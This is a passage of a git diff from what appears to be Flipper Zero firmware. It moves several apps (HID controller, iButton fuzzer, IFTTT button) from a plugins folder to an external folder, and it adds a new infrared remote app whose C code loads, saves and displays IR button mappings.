applications/plugins/hid_app/assets/Like_pressed_17x17.png rename to applications/external/hid_app/assets/Like_pressed_17x17.png diff --git a/applications/plugins/hid_app/assets/Ok_btn_9x9.png b/applications/external/hid_app/assets/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Ok_btn_9x9.png rename to applications/external/hid_app/assets/Ok_btn_9x9.png diff --git a/applications/plugins/hid_app/assets/Ok_btn_pressed_13x13.png b/applications/external/hid_app/assets/Ok_btn_pressed_13x13.png similarity index 100% rename from applications/plugins/hid_app/assets/Ok_btn_pressed_13x13.png rename to applications/external/hid_app/assets/Ok_btn_pressed_13x13.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_down_7x9.png b/applications/external/hid_app/assets/Pin_arrow_down_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_down_7x9.png rename to applications/external/hid_app/assets/Pin_arrow_down_7x9.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_left_9x7.png b/applications/external/hid_app/assets/Pin_arrow_left_9x7.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_left_9x7.png rename to applications/external/hid_app/assets/Pin_arrow_left_9x7.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_right_9x7.png b/applications/external/hid_app/assets/Pin_arrow_right_9x7.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_right_9x7.png rename to applications/external/hid_app/assets/Pin_arrow_right_9x7.png diff --git a/applications/plugins/hid_app/assets/Pin_arrow_up_7x9.png b/applications/external/hid_app/assets/Pin_arrow_up_7x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_arrow_up_7x9.png rename to applications/external/hid_app/assets/Pin_arrow_up_7x9.png diff --git a/applications/plugins/hid_app/assets/Pin_back_arrow_10x8.png b/applications/external/hid_app/assets/Pin_back_arrow_10x8.png similarity index 100% rename from applications/plugins/hid_app/assets/Pin_back_arrow_10x8.png rename to applications/external/hid_app/assets/Pin_back_arrow_10x8.png diff --git a/applications/plugins/hid_app/assets/Pressed_Button_13x13.png b/applications/external/hid_app/assets/Pressed_Button_13x13.png similarity index 100% rename from applications/plugins/hid_app/assets/Pressed_Button_13x13.png rename to applications/external/hid_app/assets/Pressed_Button_13x13.png diff --git a/applications/plugins/hid_app/assets/Right_mouse_icon_9x9.png b/applications/external/hid_app/assets/Right_mouse_icon_9x9.png similarity index 100% rename from applications/plugins/hid_app/assets/Right_mouse_icon_9x9.png rename to applications/external/hid_app/assets/Right_mouse_icon_9x9.png diff --git a/applications/plugins/hid_app/assets/Space_65x18.png b/applications/external/hid_app/assets/Space_65x18.png similarity index 100% rename from applications/plugins/hid_app/assets/Space_65x18.png rename to applications/external/hid_app/assets/Space_65x18.png diff --git a/applications/plugins/hid_app/assets/Voldwn_6x6.png b/applications/external/hid_app/assets/Voldwn_6x6.png similarity index 100% rename from applications/plugins/hid_app/assets/Voldwn_6x6.png rename to applications/external/hid_app/assets/Voldwn_6x6.png diff --git a/applications/plugins/hid_app/assets/Volup_8x6.png b/applications/external/hid_app/assets/Volup_8x6.png similarity index 100% rename from applications/plugins/hid_app/assets/Volup_8x6.png rename to applications/external/hid_app/assets/Volup_8x6.png diff --git a/applications/plugins/hid_app/hid.c b/applications/external/hid_app/hid.c similarity index 100% rename from applications/plugins/hid_app/hid.c rename to applications/external/hid_app/hid.c diff --git a/applications/plugins/hid_app/hid.h b/applications/external/hid_app/hid.h similarity index 100% rename from applications/plugins/hid_app/hid.h rename to applications/external/hid_app/hid.h diff --git a/applications/plugins/hid_app/hid_ble_10px.png b/applications/external/hid_app/hid_ble_10px.png similarity index 100% rename from applications/plugins/hid_app/hid_ble_10px.png rename to applications/external/hid_app/hid_ble_10px.png diff --git a/applications/plugins/hid_app/hid_usb_10px.png b/applications/external/hid_app/hid_usb_10px.png similarity index 100% rename from applications/plugins/hid_app/hid_usb_10px.png rename to applications/external/hid_app/hid_usb_10px.png diff --git a/applications/plugins/hid_app/views.h b/applications/external/hid_app/views.h similarity index 100% rename from applications/plugins/hid_app/views.h rename to applications/external/hid_app/views.h diff --git a/applications/plugins/hid_app/views/hid_keyboard.c b/applications/external/hid_app/views/hid_keyboard.c similarity index 100% rename from applications/plugins/hid_app/views/hid_keyboard.c rename to applications/external/hid_app/views/hid_keyboard.c diff --git a/applications/plugins/hid_app/views/hid_keyboard.h b/applications/external/hid_app/views/hid_keyboard.h similarity index 100% rename from applications/plugins/hid_app/views/hid_keyboard.h rename to applications/external/hid_app/views/hid_keyboard.h diff --git a/applications/plugins/hid_app/views/hid_keynote.c b/applications/external/hid_app/views/hid_keynote.c similarity index 100% rename from applications/plugins/hid_app/views/hid_keynote.c rename to applications/external/hid_app/views/hid_keynote.c diff --git a/applications/plugins/hid_app/views/hid_keynote.h b/applications/external/hid_app/views/hid_keynote.h similarity index 100% rename from applications/plugins/hid_app/views/hid_keynote.h rename to applications/external/hid_app/views/hid_keynote.h diff --git a/applications/plugins/hid_app/views/hid_media.c b/applications/external/hid_app/views/hid_media.c similarity index 100% rename from applications/plugins/hid_app/views/hid_media.c rename to applications/external/hid_app/views/hid_media.c diff --git a/applications/plugins/hid_app/views/hid_media.h b/applications/external/hid_app/views/hid_media.h similarity index 100% rename from applications/plugins/hid_app/views/hid_media.h rename to applications/external/hid_app/views/hid_media.h diff --git a/applications/plugins/hid_app/views/hid_mouse.c b/applications/external/hid_app/views/hid_mouse.c similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse.c rename to applications/external/hid_app/views/hid_mouse.c diff --git a/applications/plugins/hid_app/views/hid_mouse.h b/applications/external/hid_app/views/hid_mouse.h similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse.h rename to applications/external/hid_app/views/hid_mouse.h diff --git a/applications/plugins/hid_app/views/hid_mouse_jiggler.c b/applications/external/hid_app/views/hid_mouse_jiggler.c similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse_jiggler.c rename to applications/external/hid_app/views/hid_mouse_jiggler.c diff --git a/applications/plugins/hid_app/views/hid_mouse_jiggler.h b/applications/external/hid_app/views/hid_mouse_jiggler.h similarity index 100% rename from applications/plugins/hid_app/views/hid_mouse_jiggler.h rename to applications/external/hid_app/views/hid_mouse_jiggler.h diff --git a/applications/plugins/hid_app/views/hid_tiktok.c b/applications/external/hid_app/views/hid_tiktok.c similarity index 100% rename from applications/plugins/hid_app/views/hid_tiktok.c rename to applications/external/hid_app/views/hid_tiktok.c diff --git a/applications/plugins/hid_app/views/hid_tiktok.h b/applications/external/hid_app/views/hid_tiktok.h similarity index 100% rename from applications/plugins/hid_app/views/hid_tiktok.h rename to applications/external/hid_app/views/hid_tiktok.h diff --git a/applications/plugins/ibtn_fuzzer/LICENSE.md b/applications/external/ibtn_fuzzer/LICENSE.md similarity index 100% rename from applications/plugins/ibtn_fuzzer/LICENSE.md rename to applications/external/ibtn_fuzzer/LICENSE.md diff --git a/applications/plugins/ibtn_fuzzer/application.fam b/applications/external/ibtn_fuzzer/application.fam similarity index 91% rename from applications/plugins/ibtn_fuzzer/application.fam rename to applications/external/ibtn_fuzzer/application.fam index b27f47ba9..00c244c41 100644 --- a/applications/plugins/ibtn_fuzzer/application.fam +++ b/applications/external/ibtn_fuzzer/application.fam @@ -3,7 +3,6 @@ App( name="iButton Fuzzer", apptype=FlipperAppType.EXTERNAL, entry_point="ibtnfuzzer_start", - cdefines=["APP_IBTN_FUZZ"], requires=["gui", "storage", "dialogs", "input", "notification"], stack_size=1 * 1024, order=15, diff --git a/applications/plugins/ibtn_fuzzer/ibtnfuzzer.c b/applications/external/ibtn_fuzzer/ibtnfuzzer.c similarity index 99% rename from applications/plugins/ibtn_fuzzer/ibtnfuzzer.c rename to applications/external/ibtn_fuzzer/ibtnfuzzer.c index c5f2a5f7c..04d18886f 100644 --- a/applications/plugins/ibtn_fuzzer/ibtnfuzzer.c +++ b/applications/external/ibtn_fuzzer/ibtnfuzzer.c @@ -5,6 +5,7 @@ #include "scene/ibtnfuzzer_scene_select_field.h" #include "scene/ibtnfuzzer_scene_run_attack.h" #include "scene/ibtnfuzzer_scene_load_custom_uids.h" +#include #define IBTNFUZZER_APP_FOLDER "/ext/ibtnfuzzer" @@ -119,6 +120,7 @@ int32_t ibtnfuzzer_start(void* p) { FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(iBtnFuzzerEvent)); iBtnFuzzerState* ibtnfuzzer_state = ibtnfuzzer_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); ibtnfuzzer_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); if(!ibtnfuzzer_state->mutex) { FURI_LOG_E(TAG, "cannot create mutex\r\n"); @@ -264,4 +266,4 @@ int32_t ibtnfuzzer_start(void* p) { ibtnfuzzer_free(ibtnfuzzer_state); return 0; -} \ No newline at end of file +} diff --git a/applications/plugins/ibtn_fuzzer/ibtnfuzzer.h b/applications/external/ibtn_fuzzer/ibtnfuzzer.h similarity index 95% rename from applications/plugins/ibtn_fuzzer/ibtnfuzzer.h rename to applications/external/ibtn_fuzzer/ibtnfuzzer.h index 91a9c6b0c..ed42cc541 100644 --- a/applications/plugins/ibtn_fuzzer/ibtnfuzzer.h +++ b/applications/external/ibtn_fuzzer/ibtnfuzzer.h @@ -17,8 +17,8 @@ #include -#include -#include +#include +#include #define TAG "iBtnFuzzer" diff --git a/applications/plugins/ibtn_fuzzer/ibutt_10px.png b/applications/external/ibtn_fuzzer/ibutt_10px.png similarity index 100% rename from applications/plugins/ibtn_fuzzer/ibutt_10px.png rename to applications/external/ibtn_fuzzer/ibutt_10px.png diff --git a/applications/plugins/ibtn_fuzzer/images/ibutt_10px.png b/applications/external/ibtn_fuzzer/images/ibutt_10px.png similarity index 100% rename from applications/plugins/ibtn_fuzzer/images/ibutt_10px.png rename to applications/external/ibtn_fuzzer/images/ibutt_10px.png diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c diff --git a/applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h b/applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h similarity index 100% rename from applications/plugins/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h rename to applications/external/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h diff --git a/applications/plugins/ifttt/application.fam b/applications/external/ifttt/application.fam similarity index 100% rename from applications/plugins/ifttt/application.fam rename to applications/external/ifttt/application.fam diff --git a/applications/plugins/ifttt/icon.png b/applications/external/ifttt/icon.png similarity index 100% rename from applications/plugins/ifttt/icon.png rename to applications/external/ifttt/icon.png diff --git a/applications/plugins/ifttt/ifttt_virtual_button.c b/applications/external/ifttt/ifttt_virtual_button.c similarity index 100% rename from applications/plugins/ifttt/ifttt_virtual_button.c rename to applications/external/ifttt/ifttt_virtual_button.c diff --git a/applications/plugins/ifttt/ifttt_virtual_button.h b/applications/external/ifttt/ifttt_virtual_button.h similarity index 100% rename from applications/plugins/ifttt/ifttt_virtual_button.h rename to applications/external/ifttt/ifttt_virtual_button.h diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene.c b/applications/external/ifttt/scenes/virtual_button_scene.c similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene.c rename to applications/external/ifttt/scenes/virtual_button_scene.c diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene.h b/applications/external/ifttt/scenes/virtual_button_scene.h similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene.h rename to applications/external/ifttt/scenes/virtual_button_scene.h diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene_about.c b/applications/external/ifttt/scenes/virtual_button_scene_about.c similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene_about.c rename to applications/external/ifttt/scenes/virtual_button_scene_about.c diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene_config.h b/applications/external/ifttt/scenes/virtual_button_scene_config.h similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene_config.h rename to applications/external/ifttt/scenes/virtual_button_scene_config.h diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene_send.c b/applications/external/ifttt/scenes/virtual_button_scene_send.c similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene_send.c rename to applications/external/ifttt/scenes/virtual_button_scene_send.c diff --git a/applications/plugins/ifttt/scenes/virtual_button_scene_start.c b/applications/external/ifttt/scenes/virtual_button_scene_start.c similarity index 100% rename from applications/plugins/ifttt/scenes/virtual_button_scene_start.c rename to applications/external/ifttt/scenes/virtual_button_scene_start.c diff --git a/applications/plugins/ifttt/views/about_view.c b/applications/external/ifttt/views/about_view.c similarity index 100% rename from applications/plugins/ifttt/views/about_view.c rename to applications/external/ifttt/views/about_view.c diff --git a/applications/plugins/ifttt/views/about_view.h b/applications/external/ifttt/views/about_view.h similarity index 100% rename from applications/plugins/ifttt/views/about_view.h rename to applications/external/ifttt/views/about_view.h diff --git a/applications/plugins/ifttt/views/send_view.c b/applications/external/ifttt/views/send_view.c similarity index 100% rename from applications/plugins/ifttt/views/send_view.c rename to applications/external/ifttt/views/send_view.c diff --git a/applications/plugins/ifttt/views/send_view.h b/applications/external/ifttt/views/send_view.h similarity index 100% rename from applications/plugins/ifttt/views/send_view.h rename to applications/external/ifttt/views/send_view.h diff --git a/applications/external/ir_remote/application.fam b/applications/external/ir_remote/application.fam new file mode 100644 index 000000000..1107ae45d --- /dev/null +++ b/applications/external/ir_remote/application.fam @@ -0,0 +1,14 @@ +App( + appid="ir_remote", + name="IR Remote", + apptype=FlipperAppType.EXTERNAL, + entry_point="infrared_remote_app", + stack_size=3 * 1024, + requires=[ + "gui", + "dialogs", + ], + fap_category="Tools", + fap_icon="ir_10px.png", + fap_icon_assets="images", +) diff --git a/applications/plugins/swd_probe/icons/ButtonDown_7x4.png b/applications/external/ir_remote/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/swd_probe/icons/ButtonDown_7x4.png rename to applications/external/ir_remote/images/ButtonDown_7x4.png diff --git a/applications/plugins/timelapse/icons/ButtonLeft_4x7.png b/applications/external/ir_remote/images/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/timelapse/icons/ButtonLeft_4x7.png rename to applications/external/ir_remote/images/ButtonLeft_4x7.png diff --git a/applications/plugins/playlist/images/ButtonRight_4x7.png b/applications/external/ir_remote/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/playlist/images/ButtonRight_4x7.png rename to applications/external/ir_remote/images/ButtonRight_4x7.png diff --git a/applications/plugins/metronome/images/ButtonUp_7x4.png b/applications/external/ir_remote/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/metronome/images/ButtonUp_7x4.png rename to applications/external/ir_remote/images/ButtonUp_7x4.png diff --git a/applications/plugins/passgen/icons/Ok_btn_9x9.png b/applications/external/ir_remote/images/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/passgen/icons/Ok_btn_9x9.png rename to applications/external/ir_remote/images/Ok_btn_9x9.png diff --git a/applications/external/ir_remote/images/back_10px.png b/applications/external/ir_remote/images/back_10px.png new file mode 100644 index 000000000..f9c615a99 Binary files /dev/null and b/applications/external/ir_remote/images/back_10px.png differ diff --git a/applications/plugins/mousejacker/images/sub1_10px.png b/applications/external/ir_remote/images/sub1_10px.png similarity index 100% rename from applications/plugins/mousejacker/images/sub1_10px.png rename to applications/external/ir_remote/images/sub1_10px.png diff --git a/applications/external/ir_remote/infrared_remote.c b/applications/external/ir_remote/infrared_remote.c new file mode 100644 index 000000000..3a528a656 --- /dev/null +++ b/applications/external/ir_remote/infrared_remote.c @@ -0,0 +1,188 @@ +#include "infrared_remote.h" + +#include +#include +#include +#include +#include +#include +#include + +#define TAG "InfraredRemote" + +ARRAY_DEF(InfraredButtonArray, InfraredRemoteButton*, M_PTR_OPLIST); + +struct InfraredRemote { + InfraredButtonArray_t buttons; + FuriString* name; + FuriString* path; +}; + +static void infrared_remote_clear_buttons(InfraredRemote* remote) { + InfraredButtonArray_it_t it; + for(InfraredButtonArray_it(it, remote->buttons); !InfraredButtonArray_end_p(it); + InfraredButtonArray_next(it)) { + infrared_remote_button_free(*InfraredButtonArray_cref(it)); + } + InfraredButtonArray_reset(remote->buttons); +} + +InfraredRemote* infrared_remote_alloc() { + InfraredRemote* remote = malloc(sizeof(InfraredRemote)); + InfraredButtonArray_init(remote->buttons); + remote->name = furi_string_alloc(); + remote->path = furi_string_alloc(); + return remote; +} + +void infrared_remote_free(InfraredRemote* remote) { + infrared_remote_clear_buttons(remote); + InfraredButtonArray_clear(remote->buttons); + furi_string_free(remote->path); + furi_string_free(remote->name); + free(remote); +} + +void infrared_remote_reset(InfraredRemote* remote) { + infrared_remote_clear_buttons(remote); + furi_string_reset(remote->name); + furi_string_reset(remote->path); +} + +void infrared_remote_set_name(InfraredRemote* remote, const char* name) { + furi_string_set(remote->name, name); +} + +const char* infrared_remote_get_name(InfraredRemote* remote) { + return furi_string_get_cstr(remote->name); +} + +void infrared_remote_set_path(InfraredRemote* remote, const char* path) { + furi_string_set(remote->path, path); +} + +const char* infrared_remote_get_path(InfraredRemote* remote) { + return furi_string_get_cstr(remote->path); +} + +size_t infrared_remote_get_button_count(InfraredRemote* remote) { + return InfraredButtonArray_size(remote->buttons); +} + +InfraredRemoteButton* infrared_remote_get_button(InfraredRemote* remote, size_t index) { + furi_assert(index < InfraredButtonArray_size(remote->buttons)); + return *InfraredButtonArray_get(remote->buttons, index); +} + +bool infrared_remote_find_button_by_name(InfraredRemote* remote, const char* name, size_t* index) { + for(size_t i = 0; i < InfraredButtonArray_size(remote->buttons); i++) { + InfraredRemoteButton* button = *InfraredButtonArray_get(remote->buttons, i); + if(!strcmp(infrared_remote_button_get_name(button), name)) { + *index = i; + return true; + } + } + return false; +} + +bool infrared_remote_add_button(InfraredRemote* remote, const char* name, InfraredSignal* signal) { + InfraredRemoteButton* button = infrared_remote_button_alloc(); + infrared_remote_button_set_name(button, name); + infrared_remote_button_set_signal(button, signal); + InfraredButtonArray_push_back(remote->buttons, button); + return infrared_remote_store(remote); +} + +bool infrared_remote_rename_button(InfraredRemote* remote, const char* new_name, size_t index) { + furi_assert(index < InfraredButtonArray_size(remote->buttons)); + InfraredRemoteButton* button = *InfraredButtonArray_get(remote->buttons, index); + infrared_remote_button_set_name(button, new_name); + return infrared_remote_store(remote); +} + +bool infrared_remote_delete_button(InfraredRemote* remote, size_t index) { + furi_assert(index < InfraredButtonArray_size(remote->buttons)); + InfraredRemoteButton* button; + InfraredButtonArray_pop_at(&button, remote->buttons, index); + infrared_remote_button_free(button); + return infrared_remote_store(remote); +} + +bool infrared_remote_store(InfraredRemote* remote) { + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + const char* path = furi_string_get_cstr(remote->path); + + FURI_LOG_I(TAG, "store file: \'%s\'", path); + + bool success = flipper_format_file_open_always(ff, path) && + flipper_format_write_header_cstr(ff, "IR signals file", 1); + if(success) { + InfraredButtonArray_it_t it; + for(InfraredButtonArray_it(it, remote->buttons); !InfraredButtonArray_end_p(it); + InfraredButtonArray_next(it)) { + InfraredRemoteButton* button = *InfraredButtonArray_cref(it); + success = infrared_signal_save( + infrared_remote_button_get_signal(button), + ff, + infrared_remote_button_get_name(button)); + if(!success) { + break; + } + } + } + + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + return success; +} + +bool infrared_remote_load(InfraredRemote* remote, FuriString* path) { + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_buffered_file_alloc(storage); + + FuriString* buf; + buf = furi_string_alloc(); + + FURI_LOG_I(TAG, "load file: \'%s\'", furi_string_get_cstr(path)); + bool success = flipper_format_buffered_file_open_existing(ff, furi_string_get_cstr(path)); + + if(success) { + uint32_t version; + success = flipper_format_read_header(ff, buf, &version) && + !furi_string_cmp(buf, "IR signals file") && (version == 1); + } + + if(success) { + path_extract_filename(path, buf, true); + infrared_remote_clear_buttons(remote); + infrared_remote_set_name(remote, furi_string_get_cstr(buf)); + infrared_remote_set_path(remote, furi_string_get_cstr(path)); + + for(bool can_read = true; can_read;) { + InfraredRemoteButton* button = infrared_remote_button_alloc(); + can_read = infrared_signal_read(infrared_remote_button_get_signal(button), ff, buf); + if(can_read) { + infrared_remote_button_set_name(button, furi_string_get_cstr(buf)); + InfraredButtonArray_push_back(remote->buttons, button); + } else { + infrared_remote_button_free(button); + } + } + } + + furi_string_free(buf); + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + return success; +} + +bool infrared_remote_remove(InfraredRemote* remote) { + Storage* storage = furi_record_open(RECORD_STORAGE); + + FS_Error status = storage_common_remove(storage, furi_string_get_cstr(remote->path)); + infrared_remote_reset(remote); + + furi_record_close(RECORD_STORAGE); + return (status == FSE_OK || status == FSE_NOT_EXIST); +} diff --git a/applications/external/ir_remote/infrared_remote.h b/applications/external/ir_remote/infrared_remote.h new file mode 100644 index 000000000..6eac193d3 --- /dev/null +++ b/applications/external/ir_remote/infrared_remote.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +#include "infrared_remote_button.h" + +typedef struct InfraredRemote InfraredRemote; + +InfraredRemote* infrared_remote_alloc(); +void infrared_remote_free(InfraredRemote* remote); +void infrared_remote_reset(InfraredRemote* remote); + +void infrared_remote_set_name(InfraredRemote* remote, const char* name); +const char* infrared_remote_get_name(InfraredRemote* remote); + +void infrared_remote_set_path(InfraredRemote* remote, const char* path); +const char* infrared_remote_get_path(InfraredRemote* remote); + +size_t infrared_remote_get_button_count(InfraredRemote* remote); +InfraredRemoteButton* infrared_remote_get_button(InfraredRemote* remote, size_t index); +bool infrared_remote_find_button_by_name(InfraredRemote* remote, const char* name, size_t* index); + +bool infrared_remote_add_button(InfraredRemote* remote, const char* name, InfraredSignal* signal); +bool infrared_remote_rename_button(InfraredRemote* remote, const char* new_name, size_t index); +bool infrared_remote_delete_button(InfraredRemote* remote, size_t index); + +bool infrared_remote_store(InfraredRemote* remote); +bool infrared_remote_load(InfraredRemote* remote, FuriString* path); +bool infrared_remote_remove(InfraredRemote* remote); diff --git a/applications/external/ir_remote/infrared_remote_app.c b/applications/external/ir_remote/infrared_remote_app.c new file mode 100644 index 000000000..7056fae89 --- /dev/null +++ b/applications/external/ir_remote/infrared_remote_app.c @@ -0,0 +1,600 @@ +#include +#include + +#include +#include +#include +#include +#include + +#include +#include + +#include "infrared_signal.h" +#include "infrared_remote.h" +#include "infrared_remote_button.h" +#define TAG "IR_Remote" +#define MENU_BTN_TXT_X 36 + +#include + +typedef struct { + int status; + ViewPort* view_port; + FuriString* up_button; + FuriString* down_button; + FuriString* left_button; + FuriString* right_button; + FuriString* ok_button; + FuriString* back_button; + FuriString* up_hold_button; + FuriString* down_hold_button; + FuriString* left_hold_button; + FuriString* right_hold_button; + FuriString* ok_hold_button; +} IRApp; + +// Screen is 128x64 px +static void app_draw_callback(Canvas* canvas, void* ctx) { + // Show config is incorrect when cannot read the remote file + // Showing button string in the screen, upper part is short press, lower part is long press + IRApp* app = ctx; + if(app->status) { + canvas_clear(canvas); + view_port_set_orientation(app->view_port, ViewPortOrientationHorizontal); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config is incorrect."); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignTop, "Please configure map."); + canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Press Back to Exit."); + } else { + canvas_clear(canvas); + view_port_set_orientation(app->view_port, ViewPortOrientationVertical); + canvas_draw_icon(canvas, 1, 5, &I_ButtonUp_7x4); + canvas_draw_icon(canvas, 1, 15, &I_ButtonDown_7x4); + canvas_draw_icon(canvas, 2, 23, &I_ButtonLeft_4x7); + canvas_draw_icon(canvas, 2, 33, &I_ButtonRight_4x7); + canvas_draw_icon(canvas, 0, 42, &I_Ok_btn_9x9); + canvas_draw_icon(canvas, 0, 53, &I_back_10px); + + //Labels + canvas_set_font(canvas, FontSecondary); + + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 8, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->up_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 18, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->down_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 28, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->left_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 38, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->right_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 48, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->ok_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 58, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->back_button)); + + canvas_draw_line(canvas, 0, 65, 64, 65); + + canvas_draw_icon(canvas, 1, 70, &I_ButtonUp_7x4); + canvas_draw_icon(canvas, 1, 80, &I_ButtonDown_7x4); + canvas_draw_icon(canvas, 2, 88, &I_ButtonLeft_4x7); + canvas_draw_icon(canvas, 2, 98, &I_ButtonRight_4x7); + canvas_draw_icon(canvas, 0, 107, &I_Ok_btn_9x9); + canvas_draw_icon(canvas, 0, 118, &I_back_10px); + + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 73, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->up_hold_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 83, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->down_hold_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 93, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->left_hold_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 103, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->right_hold_button)); + canvas_draw_str_aligned( + canvas, + MENU_BTN_TXT_X, + 113, + AlignCenter, + AlignCenter, + furi_string_get_cstr(app->ok_hold_button)); + canvas_draw_str_aligned(canvas, MENU_BTN_TXT_X, 123, AlignCenter, AlignCenter, "Exit App"); + } +} + +static void app_input_callback(InputEvent* input_event, void* ctx) { + furi_assert(ctx); + + FuriMessageQueue* event_queue = ctx; + furi_message_queue_put(event_queue, input_event, FuriWaitForever); +} + +int32_t infrared_remote_app(void* p) { + UNUSED(p); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + 